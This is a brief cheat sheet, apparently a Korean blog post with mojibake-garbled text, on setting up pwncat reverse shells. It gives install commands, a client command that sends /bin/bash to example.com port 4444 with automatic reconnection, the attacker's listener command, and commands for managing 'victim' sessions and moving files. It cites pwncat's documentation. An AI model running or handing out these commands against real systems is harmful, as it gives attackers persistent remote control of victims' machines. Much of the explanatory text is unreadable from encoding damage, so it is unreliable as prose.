pip ์ค์น ๋ช ๋ น์ด
pip install pwncat
victim(ํด๋ผ์ด์ธํธ)์ด ๊ณต๊ฒฉ์(์๋ฒ) ์ ์์ ์ํ ์ค์น ๋ช ๋ น์ด
sudo pip install pwncat-cs
์๋ ๊ณต๊ฒฉ์๊ฐ python3 -m pwncat ๋ช ๋ น์ด๋ฅผ ์ฐ๊ธฐ ์ํ ์ค์น ๋ช ๋ น์ด
TCP Reverse shell(ํด๋ผ์ด์ธํธ)
pwncat -e '/bin/bash' example.com 4444
pwncat -e '/bin/bash' example.com 4444 --reconn --reconn-wait 10
10์ด๋ง๋ค ์ฌ์ฐ๊ฒฐ ์๋
๊ณต๊ฒฉ์ ๋ฆฌ๋ฒ์ค์ ์๋ฒ ์คํ
python3 -m pwncat -lp 4444
pwncat ํ๋กฌํํธ ๋ช ๋ น์ด / ๋จ์ถํค
sessions: ์ฐ๊ฒฐ๋ victim๋ค ํ์ธ
sessions {ID}: ์ํธ์์ฉ ํ๋ ค๋ victim ์ ํ
sessions {ID} --kill: ID ํด๋นํ๋ victim ์ฐ๊ฒฐ ํด์
Ctrl + D ํ๊ณ ์ํฐ: victim์ ๋ช ๋ น์ด ์ ์ด๋๊ณผ ๋ค์ pwncat ํ๋กฌํํธ๋ก ์ ํ
local {๋ช ๋ น์ด}: ๋ก์ปฌ(๊ณต๊ฒฉ์์ ํ๊ฒฝ) ๋ช ๋ น์ด
download {ํ์ผ}: ํ์ผ ๋ค์ด๋ก๋
upload {ํ์ผ}: ํ์ผ ์ ๋ก๋
์ถ์ฒ:
https://docs.pwncat.org/en/latest/usage/reverse-shell.html
Reverse Shell — pwncat documentation
© Copyright 2020, cytopia Revision d94b7f89.
docs.pwncat.org
https://pwncat.readthedocs.io/en/latest/usage.html
Basic Usage - pwncat documentation
Previous Installation
pwncat.readthedocs.io
pwncat - reverse shell handler with all netcat features
All Python versions supported pwncat works with Python 2,7, 3.5, 3.6, 3.7, 3.8 and even with pypy2 and pypy
pwncat.org